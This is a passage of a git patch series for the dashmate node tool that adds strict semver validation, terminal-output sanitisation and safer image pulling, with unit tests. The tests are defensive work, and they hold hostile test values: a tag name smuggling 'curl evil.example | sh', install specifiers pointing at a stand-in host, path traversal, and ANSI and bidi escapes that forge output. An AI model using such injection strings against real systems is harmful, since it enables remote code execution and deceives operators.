From 711594d8c910cd86eba72037de3e54d79508f149 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Tue, 28 Jul 2026 20:13:04 +0700 Subject: [PATCH 1/8] fix(dashmate): stop the GitHub release lookup throwing and validate its version The lookup caught node-fetch's FetchError/AbortError names, but dashmate runs on Node's native fetch, which rejects with TypeError('fetch failed') and a TimeoutError DOMException. Neither matched, so the null branch was unreachable and the lookup threw on essentially every network failure. The returned tag_name was also unvalidated and one character was stripped unconditionally, mangling tags without a "v" prefix. Anything the API returns is now required to be a valid semver before it is returned, printed or cached, which keeps package-manager specifiers (git+https:, file:, npm:) and terminal control sequences out of a value the updater will act on. Also enforces the declared response-size cap on JSON bodies, cancels bodies on paths that skip reading them, treats rate limiting as unknown rather than as an error, sends GITHUB_TOKEN when present, and rejects insight responses whose shape would crash the status renderer. Test would have caught this in CI: 14 of 18 new specs fail before the fix. Co-Authored-By: Claude Opus 5 --- packages/dashmate/src/status/providers.js | 240 +++++++- .../test/unit/status/providers.spec.js | 567 ++++++++++++++++++ 2 files changed, 787 insertions(+), 20 deletions(-) create mode 100644 packages/dashmate/test/unit/status/providers.spec.js diff --git a/packages/dashmate/src/status/providers.js b/packages/dashmate/src/status/providers.js index 24594477c18..dfe880826ab 100644 --- a/packages/dashmate/src/status/providers.js +++ b/packages/dashmate/src/status/providers.js @@ -1,33 +1,188 @@ import https from 'https'; +import semver from 'semver'; const MAX_REQUEST_TIMEOUT = 5000; const MAX_RESPONSE_SIZE = 1 * 1024 * 1024; // 1 MB -const request = async (url) => { +// A remote version string is printed to the operator's terminal, included in JSON +// output and passed to package managers, so only a strict semver shape is accepted. +// The anchors and character classes leave no room for control or ANSI escape +// characters, nor for the specifiers a package manager would treat as a location to +// install from (git+https://…, file:…, https://….tgz, npm: aliases). +const VERSION_REGEX = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/; + +const MAX_LOG_LENGTH = 200; + +// Characters that let remote text hijack a terminal line or disguise itself in the +// output: C0 and C1 controls (including the escape that opens an ANSI sequence), zero +// width characters, line separators, and the bidirectional overrides and isolates that +// reorder what an operator reads. Matching them is the point, hence the disabled rule. +// eslint-disable-next-line no-control-regex +const UNSAFE_LOG_CHARACTERS_REGEX = /[\u0000-\u001f\u007f-\u009f\u200b-\u200f\u2028-\u2029\u202a-\u202e\u2066-\u2069\ufeff]/g; + +/** + * Make text received from a remote host safe to print + * + * Error messages quote the payload that failed to parse, so remote bytes reach the + * terminal through diagnostics even when the value itself is rejected. Both the + * dangerous characters and the length are bounded here. + * + * @param {*} text + * @returns {string} + */ +const sanitizeForLog = (text) => (typeof text === 'string' + ? text.replace(UNSAFE_LOG_CHARACTERS_REGEX, '').slice(0, MAX_LOG_LENGTH) + : '[unprintable]'); + +const request = async (url, options = {}) => { try { return await fetch(url, { + ...options, signal: AbortSignal.timeout(MAX_REQUEST_TIMEOUT), }); } catch (e) { - if (e.name === 'FetchError' || e.name === 'AbortError') { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Could not fetch: ${e}`); + // Every transport failure (DNS, connection reset, timeout, abort) is reported as + // an unknown result. Callers use these providers to enrich output, so an + // unreachable remote host must never fail the command that called them. + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not fetch ${url}: ${e.name}: ${sanitizeForLog(e.message)}`); + } + + return null; + } +}; + +/** + * Read a response body, giving up as soon as it exceeds the size limit + * + * @param {Response} response + * @returns {Promise} body text, or null if it is too big to read + */ +const readCappedBody = async (response) => { + const declaredSize = Number(response.headers.get('content-length')); + + if (Number.isFinite(declaredSize) && declaredSize > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Response of ${declaredSize} bytes exceeds the size limit`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + if (!response.body) { + return null; + } + + const chunks = []; + let size = 0; + + try { + // The declared size is only a hint, so the body is also measured while it is read + // and the connection is dropped before an unbounded response can exhaust memory + for await (const chunk of response.body) { + size += chunk.length; + + if (size > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn('Response size exceeded'); + } + + return null; } - return null; + + chunks.push(chunk); + } + } catch (e) { + // The connection can still drop after the headers arrived, leaving a truncated body + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not read response: ${sanitizeForLog(e.message)}`); + } + + return null; + } + + return Buffer.concat(chunks).toString('utf8'); +}; + +const requestJSON = async (url, options = {}) => { + const response = await request(url, options); + + if (!response) { + return null; + } + + // Error responses, including GitHub's 403 when the unauthenticated rate limit is + // hit, carry no usable data and are indistinguishable from an unreachable host + if (!response.ok) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Request to ${url} failed with status code ${response.status}`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + const body = await readCappedBody(response); + + if (body === null) { + return null; + } + + try { + return JSON.parse(body); + } catch (e) { + if (process.env.DEBUG) { + // The parser quotes an excerpt of the payload it choked on, so this message + // carries remote bytes and cannot be printed as it stands + // eslint-disable-next-line no-console + console.warn(`Could not parse response from ${url}: ${sanitizeForLog(e.message)}`); } - throw e; + + return null; } }; -const requestJSON = async (url) => { - const response = await request(url); +/** + * Extract a version from a release tag name, rejecting anything that is not a version + * + * The tag name is arbitrary text chosen by whoever cut the release, so it is validated + * here, at the boundary, before it can be stored, printed or handed to a package + * manager. + * + * @param {*} tagName + * @returns {string|null} version, or null if the tag does not name one + */ +const parseVersionFromTagName = (tagName) => { + if (typeof tagName !== 'string') { + return null; + } + + // Release tags are conventionally prefixed with "v", but the prefix is optional + const version = tagName.startsWith('v') ? tagName.slice(1) : tagName; - if (response) { - return response.json(); + // semver rejects what the shape check cannot, such as leading zeroes in "01.2.3", + // and normalizes the result: build metadata is dropped, because version comparison + // ignores it while a package manager would refuse to resolve a version carrying it + const normalizedVersion = VERSION_REGEX.test(version) ? semver.valid(version) : null; + + if (normalizedVersion === null && process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Ignoring release tag that is not a version: ${sanitizeForLog(tagName)}`); } - return response; + return normalizedVersion; }; const insightURLs = { @@ -37,28 +192,73 @@ const insightURLs = { export default { insight: (chain) => ({ + /** + * Get the status of an insight instance. + * + * @returns {Promise} A promise that resolves to the status, or to null + * when it cannot be determined. A host that answers with something other than a + * status, such as a maintenance or CDN error page served with a 200, counts as + * undetermined: callers read the block height without re-checking its type. + */ status: async () => { if (!insightURLs[chain]) { return null; } - return requestJSON(`${insightURLs[chain]}/status`); + const json = await requestJSON(`${insightURLs[chain]}/status`); + + // Requiring the one field callers use, with the type they expect, keeps text + // chosen by the remote host from reaching the terminal and the JSON output + if (!Number.isInteger(json?.info?.blocks) || json.info.blocks < 0) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Insight ${chain} did not report a block height`); + } + + return null; + } + + return json; }, }), github: { + /** + * Get the version of the latest release of a GitHub repository. + * + * GitHub reports the most recently *published* release, which is not necessarily + * the highest version: a patch back-ported to an older branch and published after + * a newer release is reported here. A caller that acts on this version, rather + * than only displaying it, must compare it against the version it already has, + * or it can walk backwards onto an older release. + * + * @param {string} repoSlug - The owner and name of the repository. + * @returns {Promise} A promise that resolves to the version, or to + * null when it cannot be determined, including when the host is unreachable, the + * API rate limit is exhausted, or the release is not tagged with a version. + */ release: async (repoSlug) => { - const json = await requestJSON(`https://api.github.com/repos/${repoSlug}/releases/latest`); + const headers = {}; - if (json.message) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Github API: ${json.message}`); - } + // Unauthenticated requests share a per-IP rate limit, which a fleet behind one + // address exhausts quickly, so authenticate when a token is available. Tokens + // are commonly read from a file, and the trailing newline that comes with them + // is an illegal header value that would fail the request instead + const token = process.env.GITHUB_TOKEN?.trim(); + + if (token) { + headers.Authorization = `Bearer ${token}`; + } + + const json = await requestJSON( + `https://api.github.com/repos/${repoSlug}/releases/latest`, + { headers }, + ); + if (!json) { return null; } - return json.tag_name.substring(1); + return parseVersionFromTagName(json.tag_name); }, }, mnowatch: { diff --git a/packages/dashmate/test/unit/status/providers.spec.js b/packages/dashmate/test/unit/status/providers.spec.js new file mode 100644 index 00000000000..1cdc61a3807 --- /dev/null +++ b/packages/dashmate/test/unit/status/providers.spec.js @@ -0,0 +1,567 @@ +import providers from '../../../src/status/providers.js'; + +// Characters that must never reach a terminal or the JSON output: C0 and C1 controls, +// zero width characters, line separators, bidi overrides and isolates. They are built +// from code points so that nothing invisible is embedded in this file. +const UNSAFE_RANGES = [ + [0x0000, 0x001f], [0x007f, 0x009f], [0x200b, 0x200f], + [0x2028, 0x2029], [0x202a, 0x202e], [0x2066, 0x2069], [0xfeff, 0xfeff], +]; + +const CHAR = { + ESC: String.fromCharCode(0x1b), + BEL: String.fromCharCode(0x07), + NUL: String.fromCharCode(0x00), + CSI: String.fromCharCode(0x9b), + ZWSP: String.fromCharCode(0x200b), + LS: String.fromCharCode(0x2028), + RLO: String.fromCharCode(0x202e), + LRI: String.fromCharCode(0x2066), + PDI: String.fromCharCode(0x2069), +}; + +/** + * Report whether text carries a character that could rewrite or disguise output + * + * @param {string} text + * @returns {boolean} + */ +function hasUnsafeCharacters(text) { + return [...text].some((character) => { + const codePoint = character.codePointAt(0); + + return UNSAFE_RANGES.some(([from, to]) => codePoint >= from && codePoint <= to); + }); +} + +/** + * Build a real Response so the provider exercises the same body handling as production + * + * @param {object|string} body + * @param {object} [init] + * @returns {Response} + */ +function jsonResponse(body, init = {}) { + const payload = typeof body === 'string' ? body : JSON.stringify(body); + + return new Response(payload, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }); +} + +/** + * Build a response whose body is produced on demand, so the test can observe how much + * of it was actually read and whether it was released + * + * @param {object} [options] + * @param {number} [options.chunkSize] + * @param {number} [options.chunkCount] + * @param {object} [options.init] + * @returns {{response: Response, counters: {pulls: number, cancelled: boolean}}} + */ +function streamingResponse({ chunkSize = 64 * 1024, chunkCount = 64, init = {} } = {}) { + const counters = { pulls: 0, cancelled: false }; + + const body = new ReadableStream({ + pull(controller) { + counters.pulls += 1; + + if (counters.pulls > chunkCount) { + controller.close(); + + return; + } + + controller.enqueue(new Uint8Array(chunkSize).fill(0x41)); + }, + cancel() { + counters.cancelled = true; + }, + }); + + return { + counters, + response: new Response(body, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }), + }; +} + +/** + * Run a provider call with DEBUG enabled and collect everything it printed + * + * @param {object} sinon + * @param {Function} run + * @returns {Promise<{result: *, logged: string}>} + */ +async function captureWarnings(sinon, run) { + const previousDebug = process.env.DEBUG; + + const warn = sinon.stub(console, 'warn'); + + process.env.DEBUG = '1'; + + try { + const result = await run(); + + return { + result, + logged: warn.getCalls().map((call) => call.args.join(' ')).join(' '), + }; + } finally { + if (previousDebug === undefined) { + delete process.env.DEBUG; + } else { + process.env.DEBUG = previousDebug; + } + } +} + +/** + * Set GITHUB_TOKEN for the duration of a call + * + * @param {string|undefined} token + * @param {Function} run + * @returns {Promise<*>} + */ +async function withToken(token, run) { + const previousToken = process.env.GITHUB_TOKEN; + + if (token === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = token; + } + + try { + return await run(); + } finally { + if (previousToken === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = previousToken; + } + } +} + +describe('providers', () => { + let fetchStub; + + beforeEach(function beforeEach() { + fetchStub = this.sinon.stub(globalThis, 'fetch'); + }); + + describe('#github.release', () => { + it('should return the version of a release tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should return the version of a prerelease tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v4.1.0-rc.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('4.1.0-rc.3'); + }); + + it('should return the version of a tag published without a "v" prefix', async () => { + fetchStub.resolves(jsonResponse({ tag_name: '23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should drop build metadata from the version', async () => { + // Version comparison ignores build metadata, so keeping it would make a newer + // release compare equal to the installed one, and no package manager resolves it + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0+20260728.deadbee' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should reject a version with leading zeroes', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v01.2.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + // Native fetch rejects with a TypeError("fetch failed") for connection errors + fetchStub.rejects(new TypeError('fetch failed')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request times out', async () => { + // AbortSignal.timeout aborts with a TimeoutError, not an AbortError + fetchStub.rejects( + new DOMException('The operation was aborted due to timeout', 'TimeoutError'), + ); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request is aborted', async () => { + fetchStub.rejects(new DOMException('The operation was aborted', 'AbortError')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection drops mid response', async () => { + const body = new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('{"tag_name":')); + controller.error(new TypeError('terminated')); + }, + }); + + fetchStub.resolves(new Response(body, { + status: 200, + headers: { 'content-type': 'application/json' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when the API responds with a rate limit error', async () => { + fetchStub.resolves(jsonResponse( + { message: 'API rate limit exceeded' }, + { status: 403 }, + )); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when a rate limited response is not JSON', async () => { + fetchStub.resolves(new Response('rate limited', { + status: 403, + headers: { 'content-type': 'text/html' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when a field holds an object', async function it() { + // Coercing a value shaped like this to a string throws, and that throw escapes + // the provider exactly the way a missing null check does. Diagnostics are the + // likeliest place to coerce a remote field, so this runs with them enabled. + fetchStub.resolves(jsonResponse({ message: { toString: 'x' }, tag_name: { toString: 'x' } })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + const oversized = JSON.stringify({ + tag_name: 'v23.0.0', + body: 'A'.repeat(2 * 1024 * 1024), + }); + + fetchStub.resolves(jsonResponse(oversized)); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should stop reading an oversized body instead of buffering it', async () => { + // Returning null is not enough: an implementation that reads the whole body and + // measures afterwards does exactly what the limit exists to prevent + const { response, counters } = streamingResponse({ chunkCount: 64 }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.cancelled).to.be.true(); + // 1 MB is 16 chunks of 64 KB, plus the one that crosses the limit + expect(counters.pulls).to.be.at.most(20); + }); + + it('should return null when the response declares an oversized content-length', async () => { + const { response, counters } = streamingResponse({ + init: { headers: { 'content-length': `${8 * 1024 * 1024}` } }, + }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + // The body is never read, so it has to be released rather than left to the GC. + // A stream fills its queue with one chunk on construction, so that one does not + // count as reading; an implementation that read the body would pull many more. + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should release the body of a response it does not read', async () => { + const { response, counters } = streamingResponse({ init: { status: 403 } }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should reject a tag name carrying an npm install specifier', async () => { + const vectors = [ + 'vgit+https://evil.example/pkg', + 'git+ssh://git@evil.example/pkg.git', + 'vfile:/tmp/evil', + 'file:../../evil', + 'vnpm:evil@1.0.0', + 'https://evil.example/pkg.tgz', + 'v1.2.3 && curl evil.example | sh', + 'v../../../etc/passwd', + 'v-1.2.3', + 'v1.2', + 'vlatest', + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should reject a tag name containing control or ANSI escape characters', async () => { + const vectors = [ + // ANSI erase line and carriage return: rewrites the operator's terminal line + `v1.2.3${CHAR.ESC}[2K\rInstalled 9.9.9`, + // ANSI colour escape + `v1.2.3${CHAR.ESC}[31m`, + // terminal bell + `v1.2.3${CHAR.BEL}`, + // newline: forges an extra line for anything reading the output line by line + 'v1.2.3\n{"latestVersion":"9.9.9"}', + // C1 control introducer, which some terminals treat as the start of a sequence + `v1.2.3${CHAR.CSI}[31m`, + // NUL + `v1.2.3${CHAR.NUL}`, + // right to left override and bidi isolates reorder what is displayed + `v1.2.3${CHAR.RLO}9.9.9`, + `v1.2.3${CHAR.LRI}9.9.9${CHAR.PDI}`, + // zero width space and line separator + `v1.2.3${CHAR.ZWSP}9`, + `v1.2.3${CHAR.LS}forged`, + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should return null when the release has no tag name', async () => { + fetchStub.resolves(jsonResponse({})); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should not print control characters from a response it could not parse', async function it() { + // The JSON parser quotes the payload it choked on, which carries remote bytes + // into the log even though the value itself is rejected + const forgery = `${CHAR.ESC}[2K\rdashmate is up to date${CHAR.ESC}[0m <-- forged`; + + fetchStub.resolves(jsonResponse(forgery)); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should not print control characters from a rejected tag name', async function it() { + const forgery = `v9.9.9${CHAR.ESC}[2K\r${CHAR.RLO}forged${CHAR.ZWSP}${CHAR.LS}`; + + fetchStub.resolves(jsonResponse({ tag_name: forgery })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should bound the length of what it prints about a tag name', async function it() { + // The response size limit is the only other bound, and it allows a megabyte + const tagName = `v1.2.3-${'a'.repeat(900 * 1024)}`; + + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(logged.length).to.be.at.most(300); + }); + + it('should authenticate with GITHUB_TOKEN when it is present', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken('ghp_testtoken', () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + }); + + it('should authenticate with a GITHUB_TOKEN read from a file', async () => { + // A token captured with $(cat token) keeps its trailing newline, which is an + // illegal header value: the request would fail and look like an unreachable host + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await withToken( + 'ghp_testtoken\n', + () => providers.github.release('dashpay/dash'), + ); + + const [, options] = fetchStub.firstCall.args; + + expect(() => new Headers(options.headers)).to.not.throw(); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + expect(version).to.equal('23.0.0'); + }); + + it('should not send an Authorization header without GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(undefined, () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + + it('should not send an Authorization header for a blank GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(' ', () => providers.github.release('dashpay/dash')); + + const [, options] = fetchStub.firstCall.args; + + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + }); + + describe('#insight.status', () => { + it('should return the status', async () => { + fetchStub.resolves(jsonResponse({ info: { blocks: 1337 } })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.deep.equal({ info: { blocks: 1337 } }); + }); + + it('should return null for an unknown chain', async () => { + const status = await providers.insight('regtest').status(); + + expect(status).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + fetchStub.rejects(new TypeError('fetch failed')); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + fetchStub.resolves(jsonResponse(JSON.stringify({ + info: { blocks: 1 }, + body: 'A'.repeat(2 * 1024 * 1024), + }))); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the host answers with something other than a status', async () => { + // A maintenance or CDN page served with a 200 arrives here as valid JSON, and + // the caller reads the block height without re-checking that it is one + const vectors = ['{}', '{"error":"maintenance"}', '[]', '"ok"', '42', 'null', + '{"info":null}', '{"info":{}}', '{"info":{"blocks":"1337"}}', + '{"info":{"blocks":1.5}}', '{"info":{"blocks":-1}}']; + + const results = []; + + for (const payload of vectors) { + fetchStub.resolves(jsonResponse(payload)); + + results.push([payload, await providers.insight('testnet').status()]); + } + + expect(results).to.deep.equal(vectors.map((payload) => [payload, null])); + }); + + it('should return null when the block height is text carrying escape sequences', async () => { + fetchStub.resolves(jsonResponse({ + info: { blocks: `${CHAR.ESC}[2K\rBLOCK HEIGHT SPOOFED` }, + })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + }); +}); From df0c68244261072e671007ca6c52fdf25b0b57a9 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Tue, 28 Jul 2026 20:13:26 +0700 Subject: [PATCH 2/8] fix(dashmate): report failed image pulls and pull before stopping the node Docker reports pull failures such as registry rate limiting and a full disk as in-band error objects on an otherwise successful stream, so docker-modem's followProgress resolves and the old hand-rolled parser looked only for status lines. Failures were therefore reported as a coloured word in a table, with the reason printed only under DEBUG and an exit code of 0, so automation could not tell "updated everything" from "updated nothing". Restart compounded that: it stopped every service and only then let compose pull whatever was missing, so a pull that failed in that window left the node down. Required images are now confirmed present before anything is stopped, which for a masternode is the difference between a failed command and missed blocks. Pull-stream parsing moves to docker-modem's followProgress, which buffers across chunk boundaries and splits on the separator Docker actually emits. The previous parser split each chunk on CRLF and parsed every fragment, so an ordinary TCP boundary threw inside the stream handler where nothing could catch it. Services built from local sources are reported as such instead of being pulled, and group restart gains the same pre-stop guarantee across every node. Test would have caught this in CI: 11 new specs fail before the fix. Co-Authored-By: Claude Opus 5 --- .../dashmate/src/commands/group/restart.js | 15 ++ packages/dashmate/src/commands/update.js | 24 +- packages/dashmate/src/docker/DockerCompose.js | 90 ++++++- .../dashmate/src/docker/dockerPullFactory.js | 17 +- .../src/docker/findPullStreamError.js | 19 ++ .../src/docker/getServiceListFactory.js | 9 +- .../src/listr/tasks/restartNodeTaskFactory.js | 32 ++- .../dashmate/src/update/updateNodeFactory.js | 91 ++++--- .../test/unit/commands/group/restart.spec.js | 66 ++++++ .../test/unit/commands/update.spec.js | 203 +++++++++++++++- .../test/unit/docker/DockerCompose.spec.js | 224 ++++++++++++++++++ .../unit/docker/dockerPullFactory.spec.js | 72 ++++++ .../unit/docker/getServiceListFactory.spec.js | 110 +++++++++ .../tasks/restartNodeTaskFactory.spec.js | 84 +++++++ 14 files changed, 999 insertions(+), 57 deletions(-) create mode 100644 packages/dashmate/src/docker/findPullStreamError.js create mode 100644 packages/dashmate/test/unit/commands/group/restart.spec.js create mode 100644 packages/dashmate/test/unit/docker/DockerCompose.spec.js create mode 100644 packages/dashmate/test/unit/docker/dockerPullFactory.spec.js create mode 100644 packages/dashmate/test/unit/docker/getServiceListFactory.spec.js create mode 100644 packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js diff --git a/packages/dashmate/src/commands/group/restart.js b/packages/dashmate/src/commands/group/restart.js index 0ba25f5f8c9..cd5f27f7286 100644 --- a/packages/dashmate/src/commands/group/restart.js +++ b/packages/dashmate/src/commands/group/restart.js @@ -41,6 +41,21 @@ export default class GroupRestartCommand extends GroupBaseCommand { title: `Restart ${groupName} nodes`, task: async () => ( new Listr([ + { + // Every node's images must be fetched before the first node is + // stopped, otherwise a failed pull leaves the group stopped + title: 'Pull missing images', + task: () => ( + new Listr(configGroup.map((config) => ({ + task: (ctx, task) => dockerCompose.pullMissingImages(config, { + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }), + }))) + ), + }, { title: 'Stop nodes', task: () => ( diff --git a/packages/dashmate/src/commands/update.js b/packages/dashmate/src/commands/update.js index dc3d4617073..81b7e3eb043 100644 --- a/packages/dashmate/src/commands/update.js +++ b/packages/dashmate/src/commands/update.js @@ -118,7 +118,7 @@ export default class UpdateCommand extends ConfigBaseCommand { if (!result.ok) { // Nothing was fetched at all - not a per-image failure, which resolves - // as an error row and has always exited 0. Retained so it can be + // as an error row and is reported further down. Retained so it can be // raised once the certificate has had its say: returning quietly here // hands `update && start` a node whose images were never downloaded, // with no exit code for the caller to catch. @@ -137,16 +137,29 @@ export default class UpdateCommand extends ConfigBaseCommand { const colors = { updated: chalk.yellow, 'up to date': chalk.green, + 'built locally': chalk.gray, error: chalk.red, }; printArrayOfObjects(result.info.map(({ - name, title, updated, image, + name, title, updated, image, error, }) => (format === OUTPUT_FORMATS.PLAIN ? { Service: title, Image: image, Updated: colors[updated](updated) } : { - name, title, updated, image, + name, title, updated, image, error, })), format); + + const failedServices = result.info.filter(({ updated }) => updated === 'error'); + + if (failedServices.length > 0) { + const reasons = failedServices + .map(({ title, image, error }) => ` ${title} (${image}): ${error}`) + .join('\n'); + + // Reported on stderr so machine-readable output on stdout stays parseable + // eslint-disable-next-line no-console + console.error(`\nFailed to update ${failedServices.length} of ${result.info.length} images:\n\n${reasons}\n`); + } }; const tasks = new Listr( @@ -260,6 +273,9 @@ export default class UpdateCommand extends ConfigBaseCommand { throw new MuteOneLineError(unresolved); } - process.exitCode = 0; + // An image that failed to download is reported as a row in the table rather + // than thrown, so the exit code is the only thing that tells a caller apart + // an update that fetched everything from one that fetched some of it. + process.exitCode = this.pullResult?.failed > 0 ? 1 : 0; } } diff --git a/packages/dashmate/src/docker/DockerCompose.js b/packages/dashmate/src/docker/DockerCompose.js index a5bbb0889f8..9ac153b8b71 100644 --- a/packages/dashmate/src/docker/DockerCompose.js +++ b/packages/dashmate/src/docker/DockerCompose.js @@ -61,19 +61,26 @@ export default class DockerCompose { */ #getServiceList; + /** + * @type {dockerPull} + */ + #dockerPull; + /** * @param {Docker} docker * @param {StartedContainers} startedContainers * @param {HomeDir} homeDir * @param {generateEnvs} generateEnvs * @param {getServiceList} getServiceList + * @param {dockerPull} dockerPull */ - constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList) { + constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList, dockerPull) { this.#docker = docker; this.#startedContainers = startedContainers; this.#homeDir = homeDir; this.#generateEnvs = generateEnvs; this.#getServiceList = getServiceList; + this.#dockerPull = dockerPull; } /** @@ -498,6 +505,87 @@ export default class DockerCompose { } } + /** + * Pull images required by the config that are not present on the host + * + * Docker Compose pulls a missing image only when it creates the container, + * which during a restart happens after the node has already been stopped. + * A failed pull would then leave the node down, so images are fetched + * upfront and the caller can abort while the node is still running. + * + * @param {Config} config + * @param {Object} [options] + * @param {string[]} [options.profiles] - Filter by profiles + * @param {function} [options.onProgress] - Called with pull progress messages + * @return {Promise} images that have been pulled + */ + async pullMissingImages(config, { profiles = [], onProgress = undefined } = {}) { + await this.throwErrorIfNotInstalled(); + + let serviceList = this.#getServiceList(config); + + if (profiles.length > 0) { + // Compose creates a service when one of its profiles is enabled, and + // always creates a service that declares no profiles at all + serviceList = serviceList.filter((service) => service.profiles.length === 0 + || service.profiles.some((profile) => profiles.includes(profile))); + } + + const images = serviceList + // Images built from sources on this host are not available in a registry + .filter((service) => !service.isBuiltLocally) + .map((service) => service.image); + + const pulledImages = []; + + for (const image of new Set(images)) { + if (await this.#isImagePresent(image)) { + continue; + } + + try { + await this.#dockerPull(image, (message) => { + if (onProgress && message?.status) { + const progress = message.progress ? ` ${message.progress}` : ''; + + onProgress(`${image}: ${message.status}${progress}`); + } + }); + } catch (e) { + throw new Error(`Failed to pull image ${image}: ${e.message}`); + } + + // Docker can report a successful pull without producing the image, + // and the whole point of pulling here is to know the image is on the host + if (!await this.#isImagePresent(image)) { + throw new Error(`Failed to pull image ${image}: it is still not present on the host`); + } + + pulledImages.push(image); + } + + return 